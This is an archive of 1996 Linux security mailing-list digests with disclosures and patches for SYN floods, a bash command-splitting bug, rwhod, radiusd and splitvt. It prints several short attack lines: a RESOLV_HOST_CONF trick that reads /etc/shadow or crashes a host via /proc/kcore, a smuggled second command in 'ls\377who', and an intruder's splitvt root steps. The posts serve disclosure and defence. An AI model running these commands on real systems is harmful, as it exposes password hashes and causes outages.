owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 24 August 1996 Volume 02 : Number 051 Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] inetd and denial-of-service Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] bash security hole Re: [linux-security] inetd and denial-of-service Re: [linux-security] rwhod buffer overflow Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] inetd and denial-of-service ---------------------------------------------------------------------- From: "Daniel Roedding" Date: Thu, 22 Aug 1996 10:06:14 +0200 (MDT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Hi! Paul D. Robertson: > There are several Perl packages for managing firewall logs in this regard, and: > [REW: Anybody know a name we can tell to the search engines to find > one of those perl packages?] A small piece of awk script does this work for me. It takes regexps from a configuration file and is used in the form tail -f /var/adm/debug | logfilter | log2ticket ... The syslogd has to be configured to log everything to /var/adm/debug, logfilter filters out unwanted messages and gives the rest to log2ticket, which is a small C program that reads stdin and generates trouble tickets. If messages are coming in to log2ticket, the program waits up to n seconds (configurable) for further messages to prevent multiple tickets to be generated in case of a message flood. Every open ticket has to be closed in a certain time span, otherwise an "escalation pro- cedure" is started by the ticket management system. The programs are real simple and should run on a dedicated, "mostly closed" system that is able to perform worst-case actions on the host where the log entries are generated (e. g. shutting down inetd servi- ces). This is *not* a complete firewall component, but a kit to build such. The sources for all this are less than 20 k, if there's interest for it, I could write a small installation info and make it FTPable. Daniel - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de ------------------------------ From: infinity Date: Thu, 22 Aug 1996 08:49:02 -0700 (PDT) Subject: Re: [linux-security] inetd and denial-of-service - -----BEGIN PGP SIGNED MESSAGE----- Racer X's thoughts were: | I started thinking about this a couple of days ago (right after I read | the source for the SYN-flooder in the latest 2600). I thought of a way | to at least try to avoid total denial-of-service. | | >From the sources I have seen for SYN-flooders, they generally forge the | source address. One style is to generate random source addresses, the By very defintion of a SYN flood, the source address has to be forged. [REW: I think you are disagreeing about a name-calling issue. "Racer" is thinking of sending bunches of SYNs from one machine. "infinity" is thinking about overflowing someones incoming SYN buffer and/or getting some other host to participate in the "fun"....] | other is to take a user-specified address. A way around the first style | is this: A randomly generated source address would be a horrible idea. You have a better than even chance of generating one that is reachable. [REW: That doesn't matter when you want to overflow someone's incoming network connections buffer by sending lots of syn's. As far as I know only linux-routers will send a host unreachable if their arp times out.] | If the max number of connects per unit time is passed, stop the server | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on | that port. Any that can't be reversed should be immediately dropped. A host may have DNS entries and still be unreachable (and vice versa). | Once you're back under the limit, restart the server. SYN flooding doesn't attack TCP-based servers so much as it attacks the TCP kernel. The monitoring and actions taken should reflect this... | You could get around the second style by specifying a max number of | connects to accept from any one site at a time. However, passing this | limit would not shut down the server, it would just deny that site until | it was back under limit. Bad idea. You cannot control any aspects of the Internet past yur box (or boxes). Therefore, you cannot control which hosts will go down. (Aside: I've thought about coding a SYN flooder that plays two reachable hosts off each-other. It floods both, exactly at the same time, each SYN-ladden packet purporting to come from the other host on it's flooded port.) | The more I think about this though, the more it seems this would be | better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult | to do, although I'm not sure if you would have to do anything in kernel The best way to do this is in the kernel. Briefly: A list of concurrent pending connection requests needs to be kept for each TCP port that is listen()ing. When this number of connection requests reachs n (n==backlog, or n==backlog-1) it does a few other checks, like perhaps the time in which all of these arrived (connections that arrive very close together would be indicative of a SYN flood) and it waits a few seconds. if the state does not proceed into SYN_SENT or CLOSED it frees the associated memory and tears down all the connection requests. The n value should be different for different ports. TCP/80 for example, would see it being higher... [REW: The complexity of determining an attack and allowing legal requests (e.g. a netscape who got 16 different tags in one packet will be trying to send 16 syn requests all at once. Quite possibly overflowing into n==backlog) is enough to start thinking about a user-level deamon that is passed info about the trouble cases....] | space too. For instance, if you have a connect that is in state | SYN_RECV, can you just arbitrarily drop it, or do you have to wait for | something to timeout in the TCP code? The TCP Connection-Establishment timer of 75 seconds causes connections to time out. In Linux however, this is not the case. Below is an excerpt from my whitepaper I did on TCP SYN flooding (from Project Neptune available in the next issue of Phrack). - - ------------------------------------Excerpt------------------------------- --[ Linux Anomaly ]-- In doing my research for this project, I noticed a very strange implementation error in the TCP module of Linux. When a particular TCP server is flooded on a Linux host, strange things are afoot... First, it appears that the connection-establishment timer is broken. The 10 spoofed connection-requests keep the sockets in the SYN_RCVD state for just over 20 minutes (23 minutesto be exact. Wonder what the signifigance of this is... Hmmm...). Much longer than the 75-seconds it *should* be. The next oddity is even more odd... After that seemingly arbitrary time period (I have to determine what the hell is going on there), TCP moves the flooded sockets into the CLOSE state, where they *stay* until a connection-request arrives on a *different* port. If a connection-request arrives on the flooded port (now in the CLOSE state), it will not answer, acting as if it is still flooded. After the connection-request arrives on a different port, the CLOSEd sockets will be destroyed, and the original flooded port will be free to answer requests again. It seems as though the connection-request will spark the CLOSEd sockets into calling listen()... Damn wierd if you ask me... The implications of this are severe. I have been able to completely disable all TCP based servers from answering requests indefinitely. If all the TCP servers are flooded, there are none to recieve the valid connection request to alleviate the CLOSE state from the flooded connections. Bad news indeed. - - ------------------------------------Excerpt------------------------------- I have since learned a few things from Erik Schenk... 1) The Linux TCP kernel does not directly setup timers for connection establishment or keepalive timeouts. 2) The Linux TCP kernel counts retransmissions. 3) It takes 15 retransmission before a pending connection request is torn down. This is 1389 seconds, or 23 minutes... This is to say that a Linux box is painfully vulnerable to SYN floods. There is a patch in the works... - - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhyBbQtXkSokWGapAQFZwgQAl6oljDTIflypKJRSXvCfkzwOIK7rU4Uq t+lkIfnqsLMxH1hgSGxOIUaV2lA7gn6wdesKoDxqv9xpKAU7PpyfpQxZkTdVyGTS nffv0wz8tRy3YxW2Od1mDf+a3RxfHSF61jPQB0GgvJYovZDg1Abp+0ovSosuQ01k yldDUV3ofvo= =j+7P - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] Date: Thu, 22 Aug 1996 17:10:55 +0200 Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [REW: Just some source browsing found: /* * The IMMUTABLE and APPEND_ONLY flags can only be changed by * the super user when the security level is zero. */ so it should in principle be secure.] Optimist. Root can do anything she wants, also change kernel memory. [REW: I stand corrected. The "securelevel" support is not yet ready. It should for example block attempts to open raw devices, ioperm, and the like.....] ------------------------------ From: Runar Jensen Date: Thu, 22 Aug 1996 21:55:15 -0500 Subject: [linux-security] bash security hole Someone mentioned that they were not able to reproduce the recent bash bug. I tried the example mentioned in the alert with no luck, seemingly because bash does not expand the '\377' construct. I then got a little creative and tried the following: bash -c '`echo -e "ls\377who"`' This appeared to expand right, but would still only execute the 'ls'. For a moment I happily assumed that I wasn't vulnerable, but examining the source showed that I *should* be, according to the alert. It struck me that using bash to reproduce a bash bug may not be a very good idea... Sure enough, a simple system() call will work as expected: #include main() { system("ls\377who") } ...and yes, the patch fixes this. :) .../ru - --- Runar Jensen System Administrator FirstNet of Acadiana ------------------------------ From: Sam Quigley Date: Thu, 22 Aug 1996 10:46:20 -0700 (PDT) Subject: Re: [linux-security] inetd and denial-of-service On Wed, 21 Aug 1996, Racer X wrote: > > 2. Block access to all ports except from "trusted sites". This assumes a > > open environment where the network medium is generally trusted. Note that > > IP spoofing attacks can occur if the network is not trusted. > > This can be done with TCP wrappers. > > [REW: Not quite. If inetd drops the port, tcpd won't get started. > Another problem is that a tcpd is started for every connection. This > means that state would have to be passed by files, creating locking > problems etc etc. -> Not trivial. Inetd seems fine to me.] I don't know a whole hell of a lot about xinetd, but I do know that it allows some sort of control over connections in the same style that TCP wrappers does. Perhaps xinetd would be a good solution for this? - -sq ------------------------------ From: "Joseph S. D. Yao" Date: Thu, 22 Aug 1996 13:13:55 -0400 Subject: Re: [linux-security] rwhod buffer overflow > There is a remote buffer overflow in the path variable in rwhod.c in the > line: (void) sprintf(path, "whod.%s", wd.wd_hostname); ... > I would suggest prior to the sprintf line you add something to the effect: > if(strlen(wd.wd_hostname) >= sizeof(wd.wd_hostname)) { > syslog(LOG_WARNING, "possible hostname overflow attack apparently from %x", > from.sin_addr); > continue; > } You might also wish to modify the sprintf() as follows. Just because wd_hostname fits into wd doesn't mean (in some future revision) that it will fit into path. static char path_prefix[] = "whod."; (void) sprintf(path, "%s%.*s", path_prefix, sizeof(path) - sizeof(path_prefix), wd.wd_hostname); The above assumes that path is an array, rather than a pointer: I haven't looked. If it's a pointer, then change sizeof(path) to the defined constant that reliably defines the size of the array to which path points. This also neatly accounts for the terminating NUL, because that is measured in sizeof(path_prefix), but not copied over by "%s" in the sprintf() call. Yes, this will truncate some LONG host names. A better algorithm would find the combined lengths of the path_prefix + the hostname, allocate a buffer at least that long + 1 (if not already allocated), die or skip the host if the alloc fails (so many programs forget to check!!!), and then do the copy, freeing the buffer when [if] it's no longer being used. But that's a bigger patch than the above. [;-\] Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: "Daniel Roedding" Date: Thu, 22 Aug 1996 10:06:14 +0200 (MDT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Hi! Paul D. Robertson: > There are several Perl packages for managing firewall logs in this regard, and: > [REW: Anybody know a name we can tell to the search engines to find > one of those perl packages?] A small piece of awk script does this work for me. It takes regexps from a configuration file and is used in the form tail -f /var/adm/debug | logfilter | log2ticket ... The syslogd has to be configured to log everything to /var/adm/debug, logfilter filters out unwanted messages and gives the rest to log2ticket, which is a small C program that reads stdin and generates trouble tickets. If messages are coming in to log2ticket, the program waits up to n seconds (configurable) for further messages to prevent multiple tickets to be generated in case of a message flood. Every open ticket has to be closed in a certain time span, otherwise an "escalation pro- cedure" is started by the ticket management system. The programs are real simple and should run on a dedicated, "mostly closed" system that is able to perform worst-case actions on the host where the log entries are generated (e. g. shutting down inetd servi- ces). This is *not* a complete firewall component, but a kit to build such. The sources for all this are less than 20 k, if there's interest for it, I could write a small installation info and make it FTPable. Daniel - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de ------------------------------ From: infinity Date: Thu, 22 Aug 1996 08:49:02 -0700 (PDT) Subject: Re: [linux-security] inetd and denial-of-service - -----BEGIN PGP SIGNED MESSAGE----- Racer X's thoughts were: | I started thinking about this a couple of days ago (right after I read | the source for the SYN-flooder in the latest 2600). I thought of a way | to at least try to avoid total denial-of-service. | | >From the sources I have seen for SYN-flooders, they generally forge the | source address. One style is to generate random source addresses, the By very defintion of a SYN flood, the source address has to be forged. | other is to take a user-specified address. A way around the first style | is this: A randomly generated source address would be a horrible idea. You have a better than even chance of generating one that is reachable. | If the max number of connects per unit time is passed, stop the server | for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on | that port. Any that can't be reversed should be immediately dropped. A host may have DNS entries and still be unreachable (and vice versa). | Once you're back under the limit, restart the server. SYN flooding doesn't attack TCP-based servers so much as it attacks the TCP kernel. The monitoring and actions taken should reflect this... | You could get around the second style by specifying a max number of | connects to accept from any one site at a time. However, passing this | limit would not shut down the server, it would just deny that site until | it was back under limit. Bad idea. You cannot control any aspects of the Internet past yur box (or boxes). Therefore, you cannot control which hosts will go down. (Aside: I've thought about coding a SYN flooder that plays two reachable hosts off each-other. It floods both, exactly at the same time, each SYN-ladden packet purporting to come from the other host on it's flooded port.) | The more I think about this though, the more it seems this would be | better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult | to do, although I'm not sure if you would have to do anything in kernel The best way to do this is in the kernel. Briefly: A list of concurrent pending connection requests needs to be kept for each TCP port that is listen()ing. When this number of connection requests reachs n (n==backlog, or n==backlog-1) it does a few other checks, like perhaps the time in which all of these arrived (connections that arrive very close together would be indicative of a SYN flood) and it waits a few seconds. if the state does not proceed into SYN_SENT or CLOSED it frees the associated memory and tears down all the connection requests. The n value should be different for different ports. TCP/80 for example, would see it being higher... | space too. For instance, if you have a connect that is in state | SYN_RECV, can you just arbitrarily drop it, or do you have to wait for | something to timeout in the TCP code? The TCP Connection-Establishment timer of 75 seconds causes connections to time out. In Linux however, this is not the case. Below is an excerpt from my whitepaper I did on TCP SYN flooding (from Project Neptune available in the next issue of Phrack). - - ------------------------------------Excerpt------------------------------- --[ Linux Anomaly ]-- In doing my research for this project, I noticed a very strange implementation error in the TCP module of Linux. When a particular TCP server is flooded on a Linux host, strange things are afoot... First, it appears that the connection-establishment timer is broken. The 10 spoofed connection-requests keep the sockets in the SYN_RCVD state for just over 20 minutes (23 minutesto be exact. Wonder what the signifigance of this is... Hmmm...). Much longer than the 75-seconds it *should* be. The next oddity is even more odd... After that seemingly arbitrary time period (I have to determine what the hell is going on there), TCP moves the flooded sockets into the CLOSE state, where they *stay* until a connection-request arrives on a *different* port. If a connection-request arrives on the flooded port (now in the CLOSE state), it will not answer, acting as if it is still flooded. After the connection-request arrives on a different port, the CLOSEd sockets will be destroyed, and the original flooded port will be free to answer requests again. It seems as though the connection-request will spark the CLOSEd sockets into calling listen()... Damn wierd if you ask me... The implications of this are severe. I have been able to completely disable all TCP based servers from answering requests indefinitely. If all the TCP servers are flooded, there are none to recieve the valid connection request to alleviate the CLOSE state from the flooded connections. Bad news indeed. - - ------------------------------------Excerpt------------------------------- I have since learned a few things from Erik Schenk... 1) The Linux TCP kernel does not directly setup timers for connection establishment or keepalive timeouts. 2) The Linux TCP kernel counts retransmissions. 3) It takes 15 retransmission before a pending connection request is torn down. This is 1389 seconds, or 23 minutes... This is to say that a Linux box is painfully vulnerable to SYN floods. There is a patch in the works... - - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhyBbQtXkSokWGapAQFZwgQAl6oljDTIflypKJRSXvCfkzwOIK7rU4Uq t+lkIfnqsLMxH1hgSGxOIUaV2lA7gn6wdesKoDxqv9xpKAU7PpyfpQxZkTdVyGTS nffv0wz8tRy3YxW2Od1mDf+a3RxfHSF61jPQB0GgvJYovZDg1Abp+0ovSosuQ01k yldDUV3ofvo= =j+7P - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #51 *********************************** linux-security-digest/v02.n052100664 1767 1767 44710 6210300331 15431 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #52 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 26 August 1996 Volume 02 : Number 052 Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [linux-security] bash security hole Re: [linux-security] inetd and denial-of-service Re: [linux-security] rwhod buffer overflow [linux-security] Radiusd DOS Attacks Possible [linux-security] Minor technical difficulties. Re: [linux-security] inetd and denial-of-service [linux-security] RESOLV_HOST_CONF Re: [linux-security] TCP Wrappers Syslogging [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] RESOLV_HOST_CONF Re: [linux-security] RESOLV_HOST_CONF (fwd) [linux-security] vulnerability in splitvt ---------------------------------------------------------------------- From: [email protected] Date: Thu, 22 Aug 1996 17:10:55 +0200 Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) [REW: Just some source browsing found: /* * The IMMUTABLE and APPEND_ONLY flags can only be changed by * the super user when the security level is zero. */ so it should in principle be secure.] Optimist. Root can do anything she wants, also change kernel memory. ------------------------------ From: Runar Jensen Date: Thu, 22 Aug 1996 21:55:15 -0500 Subject: [linux-security] bash security hole Someone mentioned that they were not able to reproduce the recent bash bug. I tried the example mentioned in the alert with no luck, seemingly because bash does not expand the '\377' construct. I then got a little creative and tried the following: bash -c '`echo -e "ls\377who"`' This appeared to expand right, but would still only execute the 'ls'. For a moment I happily assumed that I wasn't vulnerable, but examining the source showed that I *should* be, according to the alert. It struck me that using bash to reproduce a bash bug may not be a very good idea... Sure enough, a simple system() call will work as expected: #include main() { system("ls\377who") } ...and yes, the patch fixes this. :) .../ru - --- Runar Jensen System Administrator FirstNet of Acadiana ------------------------------ From: Sam Quigley Date: Thu, 22 Aug 1996 10:46:20 -0700 (PDT) Subject: Re: [linux-security] inetd and denial-of-service On Wed, 21 Aug 1996, Racer X wrote: > > 2. Block access to all ports except from "trusted sites". This assumes a > > open environment where the network medium is generally trusted. Note that > > IP spoofing attacks can occur if the network is not trusted. > > This can be done with TCP wrappers. > > [REW: Not quite. If inetd drops the port, tcpd won't get started. > Another problem is that a tcpd is started for every connection. This > means that state would have to be passed by files, creating locking > problems etc etc. -> Not trivial. Inetd seems fine to me.] I don't know a whole hell of a lot about xinetd, but I do know that it allows some sort of control over connections in the same style that TCP wrappers does. Perhaps xinetd would be a good solution for this? - -sq ------------------------------ From: "Joseph S. D. Yao" Date: Thu, 22 Aug 1996 13:13:55 -0400 Subject: Re: [linux-security] rwhod buffer overflow > There is a remote buffer overflow in the path variable in rwhod.c in the > line: (void) sprintf(path, "whod.%s", wd.wd_hostname); ... > I would suggest prior to the sprintf line you add something to the effect: > if(strlen(wd.wd_hostname) >= sizeof(wd.wd_hostname)) { > syslog(LOG_WARNING, "possible hostname overflow attack apparently from %x", > from.sin_addr); > continue; > } You might also wish to modify the sprintf() as follows. Just because wd_hostname fits into wd doesn't mean (in some future revision) that it will fit into path. static char path_prefix[] = "whod."; (void) sprintf(path, "%s%.*s", path_prefix, sizeof(path) - sizeof(path_prefix), wd.wd_hostname); The above assumes that path is an array, rather than a pointer: I haven't looked. If it's a pointer, then change sizeof(path) to the defined constant that reliably defines the size of the array to which path points. This also neatly accounts for the terminating NUL, because that is measured in sizeof(path_prefix), but not copied over by "%s" in the sprintf() call. Yes, this will truncate some LONG host names. A better algorithm would find the combined lengths of the path_prefix + the hostname, allocate a buffer at least that long + 1 (if not already allocated), die or skip the host if the alloc fails (so many programs forget to check!!!), and then do the copy, freeing the buffer when [if] it's no longer being used. But that's a bigger patch than the above. [;-\] Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: Kit Knox Date: Sat, 24 Aug 1996 12:34:06 -0700 (PDT) Subject: [linux-security] Radiusd DOS Attacks Possible Here is a message I posted to bugtraq minutes ago that also affects many linux users so I decided to post it over here as well.. - -- Radiusd security announcment. Summary : Denial of service attack possible by sending garbage UDP data to radius daemon port used for authentication of users by livingston portmasters and ascend max's. Your inode tables may also be filled up by a user spoofing source address's of UDP accounting packets. (Code for this is very trivial) By default behavior the daemon calls mkdir() every time it receives an accounting packet (gross!). At the bottom you will find an optional patch that disables this behavior requring you to make the directories on your OWN first. There are numerous memory issues in radiusd that I simply don't have time to fix, however this simple patch will prevent denial of service attacks where an attacker can send garbage UDP data to your radius daemon port causing it to malloc and never free memory for each packet, eventually crashing the radius daemon. This should be considered an emergency patch. Here is a simple diff for the memory leak in the latest ascend radiusd (radius-960528). *** radiusd.c Wed Jun 26 11:58:43 1996 - --- new/radiusd.c Sat Aug 24 12:23:03 1996 *************** *** 1013,1018 **** - --- 1013,1019 ---- break; default: + free(authreq); break; } return(0); Here is the optional mkdir() patch. *** acct.c Wed May 22 13:24:20 1996 - --- new/acct.c Sat Aug 24 12:31:32 1996 *************** *** 76,84 **** /* * Create a directory for this client. */ sprintf(buffer, "%s/%s", radacct_dir, clientname); mkdir(buffer, 0755); ! /* * Write Detail file. */ - --- 76,85 ---- /* * Create a directory for this client. */ + #ifdef USE_GROSS_MKDIR sprintf(buffer, "%s/%s", radacct_dir, clientname); mkdir(buffer, 0755); ! #endif /* * Write Detail file. */ ========================================================================= Kit Knox - - System Administrator CONNETnet INS, Inc. - 6370 Lusk Blvd Ste F#208 - San Diego, CA 92121 (619) 638-2020 - (619) 638-2024 Voicemail/Pager - (619) 450-3216 FAX ========================================================================= ------------------------------ From: Jeff Uphoff Date: Sat, 24 Aug 1996 18:57:04 -0400 Subject: [linux-security] Minor technical difficulties. Well, it never fails: leave your office and within a couple of days something goes screwy.... Due to a memory exhaustion problem and the subsequent death of some daemons, several of this week's posts to linux-security were approved, archived, digested, etc., but not actually delivered. I re-approved them, but because of this glitch there are now duplicate copies of these posts in the archive and digests. (Also, some moderator's comments were lost in the re-approved posts.) - --Up, eating green chili and basking in New Mexico's sunshine.... - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: thought Date: Sat, 24 Aug 1996 22:53:44 -0700 (PDT) Subject: Re: [linux-security] inetd and denial-of-service - -----BEGIN PGP SIGNED MESSAGE----- Sam Quigley's thoughts were: | | I don't know a whole hell of a lot about xinetd, but I do know that it | allows some sort of control over connections in the same style that TCP | wrappers does. Perhaps xinetd would be a good solution for this? Neither TCPd nor xinetd will stop SYN floods. Even if you deny all but trusted (read: known to be reachable) sites, you are still vulnerable to TCP SYN floods. TCPd and it's ilk rely on the 3-way handshake being completed before the filter rules take effect. A SYN flood only satisfies 1/3 of the 3-way handshake. A packet filter that only allows trusted packets and drops all others will stop a common SYN flood. - - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMh/qYwtXkSokWGapAQHP3AP/U0i5inHHXQC2mHzzTnDyXCYYljMqg5i9 Qm/TMjH41DGmLo107ygRXQA7PfUrrVrMPKwayoQx6Lft03LMzVdVgfL+SYEQ6nOk o36fW+Oz1MRz7RdZu/dl9WVNVAlR481ZHGPXaEM9X7MbTDLf6u+e3kc1laeg1Xkk eaHCbXXz8/Q= =x1vb - -----END PGP SIGNATURE----- [REW: As far as I understand SYN floods, you simply send lots of "SYN" packets. This either causes a kernel crash or a denial of service. Userspace is only informed when three packets have been transmitted back and forth. Thus the kernel would need to be modified to do something about it.] ------------------------------ From: Jordy Date: Sun, 25 Aug 1996 00:48:46 -0500 (CDT) Subject: [linux-security] RESOLV_HOST_CONF Sigh, I don't know why, but for some reason no one has brought up the RESOLV_HOST_CONF hack which is present in well, just about every resolv+ library ever. Fade In: Resolv+ library is staticly linked to some programs such as ping, netstat, and other network programs. It is responcible for parsing /etc/resolv.conf, and allows you to specify a RESOLV HOST CONF file as an enviromental variable, problem is, it is setuid when it reads the conf file and if the conf file isn't in the correct format, it echos everything out. Fade Out: This is bad ;p. A wannabe hacker could easily type: # export RESOLV_HOST_CONF=/etc/shadow # ping my mother wears green army boots and get a copy of that file, worse off you could do things like # export RESOLV_HOST_CONF=/proc/kcore # ping life is a challage hack it up which is known to make a machine go boom. Fade Slightly In Once More: Workaround (aka Bandaid patch) modify /etc/profile and add RESOLV_HOST_CONF= declare -xr RESOLV_HOST_CONF Real Patch isn't really available yet, from what i can see. You can modify the souce to the resolv+ library and make it setuid(getuid()) first, but that would break if /etc/resolv.conf wasn't working right, or you could simply remove the RESOLV_HOST_CONF variable completely. Fade Back Out One Last Time: This should probably be posted in linux-alert. Known distributions which are affected include Slackware 2.0, 2.1, 3.0, 3.1, Redhat 2.0 and 3.0.3 picasso. [REW: On Picasso: My ping isn't statically linked. My ping binary and my libc don't have the string RESOLV_HOST_CONF. My ping still opens /etc/resolv.conf when I set this environment variable. The proposed patch wont help a lot. chsh tcsh; Use csh syntax, or write a program to pass a suitable environment yourself. I'd suggest either dropping priviliges before opening the file or simply refusing to use the environment variables when euid != uid (like the LD_LIBRARY_xx family). My Slackware 3.0 system is vulnerable. My ping is still not statically linked. The version in the shared library is being called. Slackware 3.0 uses libc.so.5.0.9, while picasso has libc.so.5.2.18 . Is this the significant difference?] ------------------------------ From: [email protected] (Wietse Venema) Date: Sun, 25 Aug 96 16:28:51 MET DST Subject: Re: [linux-security] TCP Wrappers Syslogging During my vacation, Nikita Borisov posted a patch to make tcpd log the client host address in addition to the client host name. Unfortunately this patch can break the virtual host support, since it uses the same static buffer for the %H (server) and %h (client) expansions. +#ifdef ALWAYS_IP_ADDR + static char host_and_ip[2 * STRING_LENGTH+2]; +#endif ... +#ifdef ALWAYS_IP_ADDR + sprintf(host_and_ip, "%s [%s]", host->name, eval_hostaddr(host)); + return host_and_ip; +#else return (host->name); +#endif Today, the easiest way to log both the client name and address is to change the syslog calls in tcpd.c and refuse.c. Configurable syslog messages and message tags (with %letter expansions) are one of the items on the tcp wrapper TODO list. Wietse ------------------------------ From: Joshua Cowan Date: Sun, 25 Aug 1996 14:32:03 -0500 Subject: [linux-security] Re: RESOLV_HOST_CONF >>>>> "REW" == Roger Wolff writes: REW> I'd suggest either dropping priviliges before opening the file REW> or simply refusing to use the environment variables when euid REW> != uid (like the LD_LIBRARY_xx family). I've done this. The patch to ld.so 1.8.2 is included below; of course, it won't help if your `ping', `traceroute', `rsh', etc., are statically linked.... - -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP key available from any PGP keyserver or by fingering above address. diff -ru ld.so-1.8.2.orig/d-link/boot1.c ld.so-1.8.2/d-link/boot1.c - --- ld.so-1.8.2.orig/d-link/boot1.c Mon Jun 17 21:11:16 1996 +++ ld.so-1.8.2/d-link/boot1.c Sat Aug 24 07:28:47 1996 @@ -521,6 +521,9 @@ } else { + /* A temporary hack to patch the resolver library bug. --JC */ + _dl_unsetenv ("RESOLV_HOST_CONF", envp); + _dl_unsetenv("LD_PRELOAD", envp); _dl_unsetenv("LD_AOUT_PRELOAD", envp); _dl_preload = NULL; diff -ru ld.so-1.8.2.orig/ld-so/ld.so.c ld.so-1.8.2/ld-so/ld.so.c - --- ld.so-1.8.2.orig/ld-so/ld.so.c Tue May 28 20:05:13 1996 +++ ld.so-1.8.2/ld-so/ld.so.c Sat Aug 24 07:29:45 1996 @@ -241,6 +241,8 @@ } else { + unsetenv ("RESOLV_HOST_CONF"); + /* sorry, Charlie, I can't let you do that */ unsetenv("LD_PRELOAD"); unsetenv("LD_AOUT_PRELOAD"); ------------------------------ From: "C. Hodges" Date: Sun, 25 Aug 1996 14:37:19 -0500 Subject: Re: [linux-security] RESOLV_HOST_CONF [Mod: Some quoting trimmed. --Jeff.] At 12:48 AM 8/25/96 -0500, Jordy wrote: > >Sigh, I don't know why, but for some reason no one has brought up the >RESOLV_HOST_CONF hack which is present in well, just about every >resolv+ library ever. it's been talked about a lot on Bugtraq... :> >Real Patch isn't really available yet, from what i can see. You can modify *ahem* for the most part, yes it is... NetKit-B-0.08 has at least ping and others (?) fixed, but for some strange reason, he didn't bother to fix finger tho... :\ (i also heard that ssh contains it too, haven't tried it yet) [Mod: 'finger' isn't suid like 'ping' et al. --Jeff.] actually, the library itself *SHOULD* be patched, but patched programs that call it are almost good enough... (at least, until they find more progs that have it) >[REW: On Picasso: My ping isn't statically linked. My ping binary and >my libc don't have the string RESOLV_HOST_CONF. My ping still opens >/etc/resolv.conf when I set this environment variable. > >The proposed patch wont help a lot. chsh tcsh; Use csh syntax, or >write a program to pass a suitable environment yourself. > ftp.linux.org.co.uk:/pub/linux/Networking/base/NetKit-B-0.08.tar.gz until a newer one comes out that patches finger, anyway... ------------------------------ From: [email protected] Date: Mon, 26 Aug 1996 01:39:11 -0400 (EDT) Subject: Re: [linux-security] RESOLV_HOST_CONF (fwd) > actually, the library itself *SHOULD* be patched, but patched programs that > call it are almost good enough... (at least, until they find more progs that > have it) like sendmail. I think in addtion to modifying the ld.so and/or the libc I am going to put wrappers that totally strip the environment around all suid binaries. [email protected] ------------------------------ From: Stunt Pope Date: Sun, 25 Aug 1996 21:32:09 -0400 (EDT) Subject: [linux-security] vulnerability in splitvt This may or may not have been reported already. I only found out about this list _after_ I had been hacked :< There is a vulnerability in the program splitvt that bundles with linux slackware that allows any account on the system that can access a c compiler, get root. The program used for the exploit in this instance is called "sl", and the intruder(s) always made sure they deleted the source as soon as they'd compiled the binary, so I can't supply that (although I would love to see it). Once this prog is compiled the exploit is simple as: $ sl $ sl $ splitvt # tada! (note the sl prog must be run _twice_, i don't know why). I did have an opportunity to pick the intruder's brains about it a little, here's an irc log excerpt: > what's the sl prog? Its the exploit I was telling you about > hows it work? It sets up to run splitvt and shells out to root when it runs suid root to use it just type sl sl splitvt And presto, root > and how do you get the root shell from that? Well when splitvt runs it runs over to a suid root level > did you bring the sl prog in yourself and it exploits a bug in splitvt? > ok so the program just manipulates that to give you a root shell > so you brought the prog in yup > you never cracked the root passwd then Nope I never needed it I could have got it in time with the sniffer ------------------------------ End of linux-security-digest V2 #52 *********************************** linux-security-digest/v02.n053100664 1767 1767 62073 6210301060 15434 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #53 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 26 August 1996 Volume 02 : Number 053 Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] Re: RESOLV_HOST_CONF Re: [linux-security] inetd and denial-of-service Re: [linux-security] bash security hole Re: [linux-security] bash security hole Re: [linux-security] syn floods Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] syn floods Re: [linux-security] syn floods ---------------------------------------------------------------------- From: Joshua Cowan Date: Sun, 25 Aug 1996 21:42:45 -0500 Subject: Re: 